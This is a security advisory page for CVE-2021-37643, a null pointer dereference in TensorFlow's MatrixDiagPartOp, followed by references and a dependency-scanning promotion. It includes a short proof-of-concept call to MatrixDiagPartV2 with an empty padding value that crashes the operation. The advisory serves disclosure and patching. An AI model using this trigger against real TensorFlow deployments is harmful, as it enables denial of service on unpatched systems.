CVE-2021-37643: Null pointer dereference in `MatrixDiagPartOp`
(updated )
If a user does not provide a valid padding value to tf.raw_ops.MatrixDiagPartOp, then the code triggers a null pointer dereference (if input is empty) or produces invalid behavior, ignoring all values after the first:
import tensorflow as tf
tf.raw_ops.MatrixDiagPartV2(
input=tf.ones(2,dtype=tf.int32),
k=tf.ones(2,dtype=tf.int32),
padding_value=[])
Although this example is given for MatrixDiagPartV2, all versions of the operation are affected.
References
- github.com/advisories/GHSA-fcwc-p4fc-c5cc
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-556.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-754.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-265.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/482da92095c4d48f8784b1f00dda4f81c28d2988
- github.com/tensorflow/tensorflow/security/advisories/GHSA-fcwc-p4fc-c5cc
- nvd.nist.gov/vuln/detail/CVE-2021-37643
Code Behaviors & Features
Detect and mitigate CVE-2021-37643 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →